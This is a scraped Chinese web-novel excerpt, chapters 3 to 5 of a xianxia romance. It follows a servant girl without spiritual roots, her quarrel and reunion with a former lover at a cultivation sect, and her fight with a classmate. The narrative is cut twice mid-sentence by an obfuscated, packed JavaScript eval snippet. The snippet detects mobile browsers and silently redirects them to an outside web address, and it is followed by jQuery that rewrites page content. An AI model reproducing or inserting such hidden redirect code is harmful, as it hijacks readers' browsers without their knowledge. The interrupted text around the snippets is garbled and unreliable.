《她是恶毒反派们的跟班》
3. 第 3 章
梅满常年在秋家,见惯了漂亮精致的少爷,眉眼都像是用小刀一点一点雕出来的,无一不细腻。
但眼前的人是另一种样式的好看。
剑眉星目,肤色不那么白,偏深,像是田里招摇的麦穗。
乍一瞧挺粗疏,放那群少爷嘴里,就是看起来便不省事的野莽。
可架不住他俊俏,那点儿野性反而使他更夺目。
他垂下手,沉默不言看着她,似乎早料到会和她再见面。
梅满脑中一片混沌,又乱又烦。
她不知道他是怎么做到的,可他竟然真混进了这仙府。
关键分别时她以为他们再也不会见了,还说了不少难听刻薄的话。
而他虽然灵根重损,却是个有力气的,当时连着打败好几个老师傅,才顺利进入武行。
他要是想报复,恐怕现在就能几拳打死她。
谢序往前一步。
“你别过来!”她喝止住他,质问,“你为什么会在这儿?”
谢序话不多,人也正直死板,可以说和她完全是两种性格。
好比眼下,她说一句话,他就真停下了,并如实解释:“那位秋府的大公子在除妖时不小心受了伤,来武行借药,我帮他治疗了伤口,他说要答谢我,问我有什么想要的东西。”
梅满已经猜到答案,还是问了嘴:“你怎么说的?”
“我问……”他稍顿,“能否让我进这仙府。”
果然是这样。
梅满绷紧脸,没来由感到一阵烦躁。
可她并不是自作多情的人,不会认为他做下这决定与她有关,毕竟她想拼命抓住机会往上爬,他也可以,而进这仙府就是最好的机会。
梅满警惕打量着他,看他神色如常,好像没有要找她算账的意思。
她摸不清他是真不计较,还是谋划着其他报复的手段,但仍旧稍微松了口气,问起另一件事:“别人——你见过的任何人,知不知道我们认识?”
谢序摇头。
“那就一直瞒着。”
“为什么?”
“这你别问。”梅满没急着把药给他,而是留了个心眼儿,“你知道养灵大补丹是什么吗?”
谢序喜欢看书,常揣在身上的一本是《神丹仙方》。
他对炼丹术的了解程度不比那些修士少,果不其然,他的确知道这玩意儿。
谢序略一颔首:“补药,常用作蕴养灵根。”
蕴养灵根?
那就怪了。
谢序的灵根受到严重伤损,根本不是拿灵力蕴养就能解决的,现在的他就和她一样,不过是个普通凡人,这丹药能有什么用。
梅满琢磨着,问出最关心的问题:“这玩意儿要是拿去灵市上卖,一枚能值多少钱?”
“大概……”谢序思忖着说,“十颗上品灵石。”
十颗!
上品灵石!!
梅满险些没忍住惊呼出声。
秋应岭有毛病吗?!这么珍贵的东西就随随便便给人了?
钱要是多得没地方撒了,就往她头上砸啊,她又不嫌多!
她没来由感到一阵痛心,仿佛要交出去的是自己的东西。
趁这股难受劲儿还没恶化,梅满忍痛递出瓶子:“给。”
谢序下意识要接:“这是——”
“秋师兄给的,养灵大补丹。”
谢序忽然收手:“多谢秋师兄的好意,但不必了。”
他缩得突然,而梅满已经松开手了,瓶子掉落在地,砸出清脆声响。
“你干什么啊!”她还记挂着那个漂亮瓶子,唯恐它摔碎了,忙躬身去捡。
谢序也反应过来:“抱歉,我不是故意的,我还以为——”
梅满仔细检查着瓶子,确定没摔成怎么样,才勉强放心。
听他说了半截话就再没吱声,她猛地靠近几步,恼看向他:“以为什么?!”
她靠近得突然,谢序猝不及防就与她视线相接。
那双眼眸恼瞪着他,接近琥珀色,但蒙了层淡淡的烟灰色,不显得那么清透明净,反而像是燃烧着的野草,既亮,又沉着股蛮生蛮长的莽劲儿。
心脏的跳动惯常失稳,他喉咙有些发涩,别开视线说:“我以为,这是你——”
梅满又逼近一步,审犯人一样逼问他:“是我什么?”
他却不作声了,眉眼间的情绪实在捉摸不透。
“没什么,”他别开视线,木讷得像尊雕像,“无功不受禄,他已经让我进了这仙府,我再受不起这般贵重的礼物。”
真是个不识相的傻子!!
这样好的东西,竟然不收?
梅满不清楚他为何不肯收,那瓶药像一团烈火,烫得她手掌疼,更叫她恼恨。
恨她得不到的东西,姓秋的却能像草一样轻易送出去。
恼他这样淡然,理所应当地说出“无功不受禄”这样的话,好似他多清高,衬得她像个觊觎别人宝贝的小人。
大概是情绪积攒到极致,她忽然脑子一抽,开口说:“一会儿要接,一会儿又说不要,这样折腾我好玩吗?你如果不要,我可就吃了。”
他都能吃,她为什么不能。
说不定有什么她不知道的妙用,让她长出灵根来。
可谢序正经得像是戒律堂里的长老,他说:“满满,既然是秋师兄送的,还是归还他为好。”
梅满忿忿不平道:“你觉得贵重?这样一颗丹药,对他来说和粒路上的沙子差不多,甚至连那都比不上。他送出去的东西向来不往回收,你不要,我还给他他也是扔了,还不如我留着——再问你最后一次,这大补丹你要吗?”
“不。”谢序没有片刻迟疑,还颇为好心地提醒,“你最好也不要吃,这丹药的药效强,但你没有灵根,吃了恐怕不好。”
又是这样惹人厌烦。
梅满咬牙,有些烦他,也暗暗唾弃自己,这种时候还在窃喜能将宝贝据为己有。
可她控制不住,甚至谋算起来可以将这大补丹分成两半,一半自己吃,一半拿去卖,至少也能卖五颗上品灵石。
她正幻想着五颗上品灵石能拿来做多少事,谢序忽然叫她:“满满。”
“怎的?”她抬头看他,还没来得及收敛脸上沾沾自喜的笑。
他莫名愣住,像被点了穴,一动不动,连表情都变得凝怔。
许是背着光,他的耳朵也被晒得通红。
梅满狐疑看他:“你傻了?说话啊。”
谢序道:“我是想问,这些天没看见你去练剑。”
梅满却如临大敌:“练剑?你什么时候看见的,在哪儿看见的,问我这个做什么。”
天衍仙府以修剑为主,这外门院也不例外。
她虽然没有灵根,但从小就陪着二公子对练,剑术大概还算不错,至少这外门院教的东西对她来说都没什么用处。
因此她常在夜里摸去后山竹林练剑,清静,也安全。不过这几天为了制安眠散,没空去竹林。
她不清楚他是怎么晓得这桩事的,只下意识提防,唯恐他是想报复她。
谢序理所应当道:“先前去后山竹林拾柴,看见了。”
梅满没被糊弄过去,说:“难不成你天天去拾柴?”
这姓谢的端着一副正儿八经的表情,竟然冒出一句:“满满,你一贯只想着自己,如今怎也关心起别人的去处。”
听着像是嘲弄,偏偏他说得万分认真。
梅满简直被他气得提不起气儿,脸也涨得通红。
他却忽然近前,稍俯下身,先是抚着她紧蹙的眉间,而后捧着她的脸,温和啄吻着她的眉眼,并道:“好满满,这样狭隘的心胸,怎还能分出心神来置气,莫要恼了。”
这人有病吧!
梅满一把打开他的手,阴沉沉道:“你这个贱骨头,闭嘴!”
话落,她转身要走。
走出几步了,她突然想起秋应岭嘱托的事,又折回来,问他:“谢序,下月初七,你有时间吗?”
这闷罐子也不说话,只点头。
“那初七午时,去山下的寻仙楼吃茶。记住了,别误了时辰。”她转告完秋应岭的邀约,再不管他是什么反应,直接离开。
待走出杂役院很远了,她忽然偏过头瞟了眼,却看见谢序还站在那儿,远远望着她。
梅满被那眼神盯得发怵,心底也堵。
她想起刚到秋家时,起先一两年二公子还因为落水的事,卧病在床,没有力气,她就帮他养过一段时间的狗。
久而久之,那条狗竟把她也当作主人。
大家都夸那条狗聪明活泼机警听话,一个劲儿把各种好词往它身上套。
聪明活泼机警听话。
是聪明活泼。
可那条狗的聪明劲儿全用在捣鬼上,会藏起来弄坏的东西,说多少遍都不听,一骂它它就往地上一躺,露出毛茸茸的肚皮来,一副谄媚的样儿。
也机警。
任凭什么风吹草动都听得见,但这意味着不论她走去哪儿,它都找得见。
更是听话。
让坐就坐,让进笼子就进笼子。不过时间久了,她便发现有些不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882913|191971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对味。即便被关进了笼子,可只要她在它视线范围内,它就会一直盯着她,眼珠子像是黏在了她身上一样。
梅满使劲捶了两下脑袋,试图将多余的念头打出去,好专心制药。
她直接去了药庐——之前这个时间点,柴群会来这儿和她一起制药。
但这回梅满在炼药芦等了足足半个时辰,都没见他来。
组队前他俩就分了工,她保存药材,刚制了一半的安眠散则在他那儿。
她还不至于因为他迟到一次就从头开始制药,便打算去找他。
谁承想这人就和失踪了一样,哪都找不见。药庐、练功房、藏书阁、灵市……甚至是他的寝舍,连根头发都没找着。
眼看天色渐晚,梅满心里越发烦闷,一股郁气膨胀在胸腔里,憋得她浑身都难受,却又无从发泄。
但到第二天的体术课上,这烦人精却蹦出来了。
他和两个男修聚在一块儿,其中一个是上次与他组队对练的,另一个则是那个生病告假的。
梅满郁气沉沉站在那儿,想着等他过来了,再盘问他昨天去了哪里。
可直到上课,他都没往这边瞧一眼,而是摆起架势,和那两个男修嬉笑着打来打去。
这情况压下了她心头的烦闷,只剩疑惑。
她看着他。
他不打算过来吗?
上回是他朋友的搭档告假,他才陪他朋友对练,可现在别人都回来了,他怎么还和他们搅和在一块儿?
教体术的师兄说:“都站好了,今天还是通过对打的形式练习体术第一、二式,点到为止,不要误伤了搭档,开始吧。”
其他同门便都两两聚在一起,开始对练了。
只有梅满没有搭档,一个人站在角落里。
耳边的嬉笑吵闹声越来越大,而她被隔离在外,不知道他们在闹什么,又在笑什么。
她攥紧拳头,浑身都绷得死死的。
一点微妙的难堪在她心头蔓延,且越来越强,越来越重。它像是一张网,在不断收紧,让她的心皱缩成一团,挤出酸苦的汁。
她开始感到格外难受,甚至喘不过气。
大概是她僵立的时间太久,师兄发现了她。
他走到她面前。
“你怎么是一个人?我记得你的搭档是——”他翻了下簿子,找到个人名,“是柴群,他没来吗?”
梅满的情绪没有因为他而好转,反而开始像钝刀一样磨着她。
她低着脑袋说:“来了。”
师兄扫视一周,看见了三个聚在一块儿的男修,他们正练得起劲,两个对练,另一个就在旁边帮忙观察纠正,再轮流打替。
他叹口气。
梅满的头稍抬了点,飞快觑他一眼。
可他却笑了笑,像在透过他们追忆什么似的,说:“到底还是年纪小,玩心重,一遇上几个朋友,就不愿散伙了。也好,越往后,这样的清闲时间就越少了。”
梅满听见脑子里“嗡——”的一声,紧随而至的是耳鸣。
师兄又看向她:“你怎么不和他们一起?”
梅满张开嘴,只发出声短促的气音。
她说不出来。
她说不出来。
或许是顾及那点微乎其微的面子,又或是考虑到惹出麻烦了很难收场,总之,仅存的一点理智让她开口:“嫌吵,他们太闹腾了,我用木头桩子练也行。”
师兄欲言又止。
他看着眼前的人。
身形瘦削,乌黑的头发分成两股,松束在身后,额发垂落,半遮半掩住那张苍白的面孔。
不仅看不大清楚她的神情,还衬得她尤为阴郁,不好接近。
“你……”他叹气,最终说出的话是,“你也应该合群一点,不要总是一个人。”
“嗯。”她木讷应声。
师兄走后不久,又有两个女修过来。
一个面带温和笑意,另一个冷淡点儿。
那个笑着的问她:“你叫梅满?看你一个人,要不要一起对练?”
女修问她时,梅满感觉到有视线似有若无地投向自己。
她顺着瞥过去,望见正嘻嘻哈哈打闹的柴群。
他没看她,她也没找他,但她能感觉到自己被推上了一场试炼场,他就站在她对面,高傲冷漠地俯视着她。
她就算再窝囊,也不可能就这样狼狈地服输。
于是她拒绝:“不用。”
“真的不用吗?”那个笑着的女修说,“三个人一起练也很有意思的。”
“不用。”梅满固执道。
4.第 4 章
梅满拉着脸和木头桩子对练,却总觉得有视线落在自己身上。
她瞥过去,看见两个男修停下打斗,斜着眼睛瞟她,还在小声说话。
“你去吧。”
“不太敢啊,万一拒绝了怎么办,刚才那两个就被拒绝了,你去,你去。”
“你去,柴群那小子肯定不回来了。快啊!不然让别人抢先了。”
“那咱俩一起。”
“……行。”
梅满离得远,听不大清楚他们在说什么,但能感觉到他们总瞥着她。
这似有若无的打量让她很不痛快,她收回视线,不再看别人,横腿踢在木头桩子上。
不成想,那两个男修竟然过来了。
“梅道友,”个儿高的那个说,“你一个人啊。”
这是在拿明摆着的事挑衅她?
梅满脸色更差,不愿搭理。
那修士尴尬地摸了摸脑袋,看他同伴。
他同伴便接着说:“梅道友,这是对练课。”
他的话再一次提醒她落单的处境,梅满狠狠一拳砸在木头桩子上,险些砸出个窝。
“到底要干什么。”她不耐烦说。
“啊,没、没什么。”那两个男修磕磕巴巴的,“就是想问,你要不要找个人一起练,如果要,也可以——”
“不用。”梅满打断他们,以免听见什么难听的话。
“好、好吧。”两个人就又走了。
这之后,类似体术课上发生的事渐渐多了起来。
第二天的养心课上,柴群本该和梅满坐在一块儿。
但他早早就和别人挤在一起,还故意发出些笑闹的动静,像只在树林子里横冲直撞的疯鸟。
柴群走了,梅满左边的位置就空出来了。
这感觉很奇怪,只是空了个人,左半边身体却像在往下坠,怎么摆弄都不自在。
这种不适让她心生愤恨,当再次察觉到柴群的视线时,她斜睨过去,与他遥遥相望。
他咧开个笑,像是什么事都没发生过一样,但她只觉得恶心。
梅满暗暗咬紧牙,将掌心掐得生疼,才勉强忍住表情的变化。
下作的杂碎!
脏心烂肺的畜生!
她阴沉沉收回视线,直到扫见桌上的一束迎春了,心情才稍微好点儿。
谢序不要那枚养灵大补丹,她就真自个儿留下了,大补丹用一个小盒子装着,瓶子则用来养花。
和她一开始想的一样,这瓶子配迎春的确好看,有种漂亮的鲜活气。
梅满碰了下花枝,忽然觉得为个杂碎生气很不值当。
好不容易得来的机会,难道要把每时每刻都浪费在这种事上吗?
她是想明白了,可柴群却没放过她。
当天下午的符箓课上,他坐回了原本的位置——也就是她旁边。
她没有为此感到高兴,反而隐觉不安。
果不其然,刚上课他就高举起手说:“师兄,我能不能换个位置啊?”
教他们画符的是个筑基不久的师兄,年纪小,做事也粗糙幼稚。
要放那些老辣的前辈身上,多半懒得搭理柴群,这师兄却耐下心问:“好端端的,怎么要换位置?”
柴群将高抬的手往下一指——正冲梅满的头顶。
他朝下点了点,用夸张又尖刻的语气说:“师兄你教的是化箭符吧,我也打听过,这月末的考核方式是两个人互用化箭符和防御符比试。可她没有灵根啊,画出来的符就和废纸差不多。师兄,让我和她一组是不是太不公平了。”
梅满闻言,浑身都僵冷了。
可比起无地自容的难堪,烧在她心中的更多是恼恨和不甘。
她能感觉到有人在看她,以为多是嘲弄轻视,不想听见的第一句话是:“柴群,你说这种话是不是太过分了。”
他却满脸无所谓地摊开手:“可我只是在陈述事实啊,你要是不嫌弃,正好和我换位置,跟她一组呗。”
那人道:“和换不换位置无关吧,你太不尊重人了。”
还有些零碎混乱的声音——
“倒也想,你先起开啊。”
“喂,你想干什么,给我老实坐这儿,别一个人做美梦。”
“姓柴的脑子什么毛病,显得他多厉害。”
梅满没注意那些闲话,只用余光瞥着和柴群争论的人,好像又是昨天问她要不要一起对练的那两个女修。
说话的主要是那个叽叽喳喳的,另一个抱着臂,一脸不悦的模样,始终没开口。
他们争论着,看起来是好心,是在为她说话。
可对她而言,这简直是更大的羞辱。
她实在气昏了头,冷不丁冒出一句:“所以你是怕连一个凡人都比不过吗?”
刚说出口她就后悔了。
柴群有句话说得没错,她连灵力都没有,画出的符形同废纸,哪能构成丁点威胁。
四周突然安静下来,梅满没抬头,却感觉到有许多人看向了她。
包括柴群。
他或许也想到了这点,看了她一会儿,忽然轻蔑笑了声,在一片死寂中格外明显。
这声轻笑摧毁了她好不容易回来的理智。
梅满倏地转过身,一把揪住他的领子,死死盯着他,张口便骂道:“你这个下贱杂种!笑什么,很好笑?”
柴群以往从没注意过梅满长什么样,只听好几个修士说过她又漂亮还聪明,问他想不想换搭档。
他没这意识,仅觉得她像是聚在天边的一团乌云,总是阴沉沉的,时常低着脑袋,凌乱的几绺碎发垂落在额前,看人也常是飞快的一瞥。
而此时她突然逼近,他才猝不及防看清她的脸。
竟真是张很夺目的面孔。
眉似远山,眼如小星。
那双眸子尤为显眼,似蒙了层烟灰色的雾,湿冷冷的,轻易就将人拢住。眼下经怒火烧灼,又泛出些灼人的神采。
他一时愣了神,想好的嘲讽噎在了喉咙里。
梅满还没恢复理智,将他的衣领子攥得更紧:“贱人!烂货!继续笑啊,怎么不笑了?”
柴群看着她的嘴一张一合,那阴恻恻的骂语砸过来,竟刺得他心一颤,头皮也有些发麻,脸颊涨出一点薄红。
梅满没察觉到他这诡异的反应,还在气头上,看他这副要死不活的样,怒火更甚,也冷笑着说:“以为我不会画符,就也不会使拳头是吧?”
话落,她一拳砸在他右颊上。
“啊——!”柴群完全没设防,一拳下去,打得他摔倒在地,哀叫连连。
四周一片惊呼,所有人都争相站起来看热闹,就像在观赏两只即将打起来的野兽。
也是他倒地了,梅满才迟迟回神。
她都干了什么?
她攥着发麻的拳头,愣愣盯着他痛嚎的模样,脑子里全是来仙府前小姐嘲弄她的话:“小满,你有脑子,却太冲动。火气一上来,就将那点小聪明摧毁得一干二净。小满,小满,在水里生气乱游的鱼,只会被发现,被拎上砧板片成鱼肉。”
那时梅满恨她高高在上的态度,厌恶她的说辞,可眼下,她却只能想起这些话。
师兄傻了眼,愣呆呆盯着他俩。
而柴群终于从剧痛中缓过神。
他捂着肿起来的脸颊踉跄起身,啐了口血沫子,骂了梅满一句“杂种”,又捏得指节嘎吱响,作势要打她。
梅满不再像刚才那样冲动,突如其来的冷静让她呼吸都变得艰难,煞白的脸上没有丁点血色,手也冷冰冰的。
与他那双暴怒的眼睛相对时,她脑子里只有两个字——
完了。
论修为,她比不过他。
他虽然在外门,可有灵根,且已经能够引气入体。
论家世,她更不像他那样有人撑腰。
最糟糕的情况,可能是她挨他一顿揍,再失去这好不容易得来的机会,被赶出仙府。
梅满咬紧牙,对他的恨意没有因为这些而消减多少,反而越发强烈。
但他俩最终没打起来。
在他举起拳头的刹那,师兄终于想起了自己的身份,忙上前拉住他:“冷静些!同门之间不能私斗。”
柴群气笑了,指着自己青肿的脸,说:“师兄是看不见吗?!我都被打成这样了,连还手都不行?!”
师兄总算意识到他俩之间的矛盾。
“总之,不能打架。你先坐下冷静冷静,她打人不对,但你说的那些话也着实难听。”他看梅满,“梅满师妹,你——你跟我来。”
他带她去了外面,不大熟练但颇具耐心地问她:“梅师妹,你和柴师弟有矛盾?”
梅满张开嘴,那股怨恨已经烧到了嗓子眼儿,烧得她肺腑都在疼,脑子也晕。
可最终她说出的话是:“没有。”
师兄狐疑:“当真?”
“嗯。”
他皱眉:“如果有什么问题,可以随时来找我。”
“好。”
柴群似乎也冷静下来了,没再找她茬,只是整天捂着那张肿脸龇牙咧嘴,和他的几个新朋友插科打诨。
他看起来已经放下这桩事。
梅满却没有。
恨意憋闷在她的肺腑里,挤来撞去,烈火一样,始终灼烧着她。
晚上回寝舍的路上,这种情绪终于积压到极致。
梅满碰巧撞上柴群,他只瞟她一眼,就看向身边的同伴,和他们说说笑笑。
错身时,他忽然施展了一个浮光术。
以前梅满一直认为这是个很漂亮的灵术。
像点点星子一样的灵力汇聚在一起,凝成一个银白色的小光球,莹润,梦幻。
可看见他凝出的浮光,她下意识想吐。
他用那种以前和她说话时的轻快语气道:“天也太黑了,哪能看清路啊,以前在家里还有下人打灯笼,到了这儿就只能靠自己。幸好提前学了这灵术,不然只能摸黑走了。”
这笑闹声比唾骂更让梅满恶心。
恨意带来的灼烧感直往喉咙口涌,她终于忍不住,加快步子,几乎要跑起来。
直等将他们远远抛在后面了,她忽然折向另一边的树林,躬下身,不受控地干呕起来。
贱人!
贱人贱人贱人!!
梅满没吐出什么东西,仅视线变得模糊,她摸了把脸,掌心顿时一片湿冷。
但她没看手上,只急切从袖袋里掏出个巴掌大的木盒。
盒子打开,里面正是那枚养灵大补丹。
梅满不知道自己在想什么,那股恨意焚烧着她的理智,以至于她竟然把这枚丹药当作救命稻草,直接掰下一半,塞进了嘴里。
她没嚼两下就吞了下去,吞咽的时候她又开始干呕,视线都变
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885965|191971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得湿蒙蒙的。
梅满强忍着吞了药,用袖子胡乱擦去脸上的泪水,滑坐在树边。
这颗药当然没有用。
养灵大补丹。
她连灵根都没有,没法将灵气引入体内,又能养什么灵。
不仅如此,她一个凡人,根本承受不了这仙丹的效用。
丹药咽下的瞬间,磅礴的灵力奔向四肢百骸,带来摧心折骨的剧痛。
尤其是丹田,更像是有旺火灼烧,那股灼痛让人根本无法忍受。
她疼得趴伏在地,发丝很快被冷汗打湿。
可她不后悔。
这疼痛越剧烈,她就越不甘心,也越清醒。
梅满的肚子更疼,像有把刀子在搅一样,疼得她不住冒冷汗,没一会儿衣裳就像过了水。
她擦了把额头,撑着地踉跄起身,在一片昏暗中找准药庐的方向,径往那方去。
但她没想到会在这里撞上谢序。
他正在整理药庐前的柴堆,沉默得像是夜间的一抹黑影。
梅满断然不肯让他看见她这狼狈模样,那简直比杀了她还难受,就想先躲着,等他走了再找药。
谁承想这人跟背上长眼睛了一样,忽然偏过头,一眼望向她。
梅满佝偻着身,下意识往旁边的门后一避。
下一瞬,一只手从斜里伸来,紧攥住她的胳膊。
紧接着闯入视线的,是谢序的脸。
“满满。”他唤道。
梅满甩开他的手,恶狠狠道:“滚!”
可他再度掌住她的胳膊,这回攥得更用力,眉也微蹙。
“你中了丹毒。”许是因为看过太多炼丹的书,他一眼便瞧出异样,并摸索出缘由,“你吃了那枚养灵大补丹?”
梅满的视线更加模糊——应该是冷汗冒得太多,覆在了眼皮上,这也让她意识到自己眼下的状况有多狼狈。
她耻于用这副模样示人,更不想从这个已经被她踹开的人口中听见羞辱她的话,便推他,踢他。
“是又怎么样,你放开,放开!滚啊,滚!”
谢序一声不吭地抓紧她,竟将她直接拽进了旁边的药庐。
身后传来脚步声和说话声,他往后瞥了眼,悄无声息关上门。
梅满疼得直往下跌,两边又各有一扇大窗子,很容易叫人看见,他便将她拉至墙角。
她滑下去,却没挨着地——谢序先一步盘坐在冷冰冰的地上,将她抱坐在他腿上。
他的两条胳膊护在她身后,散开一个布包,匆匆在里面翻找着什么。
梅满不知道他要干什么,只疼得厉害,想去找药。
可她被夹在他和墙角间,根本走不了。
她挣扎片刻,实在没力气了,又难受至极,便将脑袋埋在他肩上,张开嘴,狠狠咬了下去。
耳畔落下一声闷哼,谢序的喘息也乱了瞬。
梅满听见,这几天积攒在心底的那股恨意忽然像是找到了发泄口,一点点往外流泻。
谢序掌住她的后脑勺,手指微微拢起,像极安抚,不过片刻,他就垂下手,继续翻找起东西。
她咬得更用力,仿佛要咬透他的衣衫、皮肉、筋骨。
他的气息更乱,更急促,偶尔起伏着压抑而颤抖的哼喘。
这让她想起以前还在秋府,他俩私会时,他也时常这样压抑地喘。不论是亲吻,还是与她亲密相连,他都要这样,似乎连呼吸都见不得光。
梅满被他喘得耳朵发麻,松开嘴,骂道:“贱骨头!这样也能发//浪,快滚,滚!”
谢序却趁她说话,往她嘴里塞了颗药。
她被折磨得意识实在恍惚,哪怕咽下药,也没察觉到什么,只注意到他压在她唇边的手指,张开嘴就狠狠咬他一口,并拿“贱骨头”“浪货”之类的词来回骂他。
这一口直接咬出了血,谢序虽然闷哼了声,却是面不改色,沉默听着她骂他。
丹毒带来的疼痛逐渐得到平缓,梅满骂得更起劲,把这些天受的气统统宣泄了出来。
“贱骨头,贱骨头……”谢序忽然掌住她的后颈,用那双漆黑无光的眼睛死死盯着她,语调比冬天的湖水更冷、更平,“和贱骨头做的时候,怎么不嫌浪?”
梅满倏地怔住,从他平寂无澜的话语里听出了怒意。
不过没等她想清楚,他便俯过身,咬住了她的嘴。
说是咬也不贴切,因为他没多使劲,且咬了口后就开始含着她的唇瓣,重重地吮。
一点酥麻顺着脊骨攀上,梅满不禁微张开嘴,由他勾含住舌尖,吮舐舔吻。手也垂下,搭在他的臂膀上,指腹稍一用力,便能感觉到经脉的鼓跳。
她喜欢和他接吻,这样腻腻的厮磨会让她像是浮在云上一样,轻飘飘的,能短暂忘掉不少烦心事——可那是在秋府的时候。
现在她来了仙府,且已经和他说得清楚,又怎么还能和他搅和在一起。
意识到这点,她倏然回神。
加之剧痛好转不少,她恢复了大半力气,便猛地发力,一把推开他。
月光透过窗扉压进,模糊映出谢序的脸。
他的脸透出点红,一双星目叫剑眉压着,低沉沉的,那点含蓄的野性也愈发突显出来,使他多了些偾张的攻击性。只是唇瓣被咬红了,又略肿,就添了点不相配的艳色。
梅满狠狠擦了下嘴,阴恻恻瞪着他:“滚!”
5.第 5 章
药庐里安静得过分。
梅满靠在墙边,仅能听见自己的喘气声。
谢序被她推开,那些偾张的攻击性也全都收拢回去。
他又恢复成平时的样子,不再说话,沉默得像个哑巴,单是盯着她。
静悄悄盯着她。
梅满还坐在他腿上。
紧绷的大腿肌理有些硌人,刚才她没注意,可现在她的肚子没那么疼了,就开始为这些小细节不痛快。
她正打算骂走他,忽然听见外面有脚步声。
梅满一下慌了,忙看了眼窗户,生怕那里会突然蹦出个人。
谢序眼眸微动。
他们来往了大半年,他多少摸清了她的脾性,自然也清楚这一瞬的慌张从何而来。
“害怕被人看见?”他往前倾身,几乎要碰着她的鼻尖,声音小到近乎耳语,“怕被人看见你就算来了这样的洞天福地,就算已经摸到了你想要的路,还是和一个上不了台面的贱骨头厮混在一起吗?”
“闭嘴,闭嘴!”梅满又推他,却被他一把截住胳膊。
他说:“要想让我闭上嘴,就反驳我。”
梅满阴沉下脸,紧揪着的心开始抖。一丝恐慌在她心头蔓延开,让她一时没法开口说话。
是。
她的确是这么想的。
不想被人看见她和他厮混在一块儿——尤其是这仙府里的人。
不想被发现即使来了这里,她的生活和以前也没什么区别。
不想被人斜着眼睛上下打量,不想听见那些别有用心的轻笑。
不想,不想——
梅满的心紧绷到整个人都开始抖,却没有大声骂他,赶他,抑或把怒火和怨怼发泄在他身上,因为她听见那些人越走越近,甚至有说笑声。
“要过来了。”谢序用平静到听不出起伏的声音问,“是你认识的人吗,会不会是要进这药庐里面来。如果被看见,你打算怎么解释?”
他的话让她格外注意起外面的动静,恨不得能通过脚步声辨别出那些人都是谁,又要去哪儿。
与此同时,她阴沉沉看着他,用只有他俩能听见的声音问:“你这是在报复?”
“报复?我要报复什么?”
“报复我踹开你,报复我说的那些难听的,侮辱你的话。”梅满又将那天说的难听话一一摆出来,泄愤似的戳他痛处,“报复我骂你是个贱骨头,是条没家的狗。那时候派不上丁点用场却妄想和我成亲,现在灵根都损毁了,还跑到这儿来当杂役。你以为在那里劈上几天柴,灵根就能痊愈了?告诉你,痴心妄想!”
“像你一样?没有灵根还要跑来这仙府,走投无路到吃一枚起不了任何作用的仙丹。”谢序平静望着她,“不,即便你有,满满,这仙府里可还有其他像你这样心性不清的修士?”
他俩就这样互相捅着软刀子,他没骂她,说的话却尤为难听,几句话下来,梅满整张脸都快没了血色,气也喘不上来。
也是这时,梅满终于听见了外面的说话声。
是那两个女修的声音,大概还有别人,她们应是在讨论刚学会的灵术。这外门院的弟子天赋都不高,一个最简单的灵术也要翻来覆去学好几遍。
可就算是这样,至少她们还能学。
梅满咬紧牙,以至于脑袋都在钝钝地疼。
不知道什么时候,她的视线变得模糊,肚子里面又翻涌起疼痛。
直到谢序俯过身,唇瓣贴在她脸上,她才后知后觉自己是掉了眼泪。
他舔了下她脸颊湿漉漉的泪痕,边舔边说:“好满满,别哭了,像你这样自私自利的白眼狼,也会因为这种小事,因为这几句话哭吗?刚才丹毒发作,都不见你掉眼泪。”
这个蹬鼻子上脸的下作胚!
她简直分不清他是在安慰她,还是在骂她。
窗口投来了几道阴影,映在地面上。
梅满登时慌了,一动不敢动,感觉血都快要凝固,生怕她们看见她。
她怀疑谢序是得了疯症,竟就这么沉默、缓慢又耐心地舔舐着她的泪水。
不一会儿就变成了亲吻,他慢吞吞亲她的脸,唇瓣微微一拢,再抿,便像是要吮破她的脸皮一样。
等她们终于走远,梅满正要推开他骂上一顿,他却先松开了她。
谢序缓慢站起身。
他大半身子陷在昏暗的夜色中,连脸都看不分明。
可她能感觉到他的眼神。
“谢序,你真恶心!”梅满扯出块布帕猛擦了几下脸,再嫌弃似的将帕子丢去一边。
谢序沉默看着她,半晌忽笑了声。
那笑声轻而又轻,像是飞起的扬尘一样轻飘飘落下,了无痕迹。
他转身离开了药庐。
梅满怕被人撞见,又在药庐待了会儿,才迟迟离开。
接下来的几天,柴群照常不搭理她,她也懒得和他说话,更没想过讨要那根保留在他那儿的龙骨。
她用仅剩的药材重新制了份安眠散,有先前的经验,这次哪怕没他帮忙,她也制得很快。
等到灵药课考核时,梅满刚进学堂,就看见桌上空无一物。
她养的迎春花不见了。
梅满猛地加快步子,忽然踩着了一点水。
她停下,低头顺着水迹望过去,看见了几块白瓷碎片,还有一枝被踩得破破烂烂的迎春。
尖利的嗡鸣“轰——”一下在她脑中炸响,忽地,她听见笑声。
她看过去。
柴群正在晃动一个瓶子,身边是他新结交的几个朋友。
“柴群,你小子可以啊!”有人和他说,“竟然能想到往安眠散里加龙骨粉,药效一下就上来了,我用傀儡纸片试了下,足足昏睡了一晚,比先前的药效强多了!”
柴群抛起那个瓶子,又接住,无所谓地笑笑:“我试了好久才试出这法子,先不说这个,就我分给你们的龙骨粉,你们自个儿说,质量怎么样?”
“你从哪儿弄来的,简直是宝贝!我之前去灵市采买,出了百枚上品灵石,都只换回来一点火龙的龙骨粉,还只有千年修为,赶这个差远了。”
“还得是柴群你,真够大气的。”
